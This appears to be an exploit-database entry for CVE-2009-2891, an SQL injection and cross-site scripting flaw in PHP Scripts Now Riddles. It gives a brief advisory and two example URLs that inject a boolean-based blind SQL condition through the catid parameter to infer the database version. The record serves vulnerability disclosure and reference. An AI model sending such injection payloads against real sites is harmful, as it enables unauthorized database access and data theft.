[] NeoSense

PHP Scripts Now Riddles - '/riddles/list.php?catid' SQL Injection

Author: Moudi
type: webapps
platform: php
port: 
date_added: 2009-08-20 
date_updated: 2014-10-06 
verified: 1 
codes: CVE-2009-2891;OSVDB-56123 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/44309/info

PHP Scripts Now Riddles is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/list.php?pagenum=0&catid=4+AND%20SUBSTRING(@@version,1,1)=5 TRUE
http://www.example.com/list.php?pagenum=0&catid=4+AND%20SUBSTRING(@@version,1,1)=4 FALSE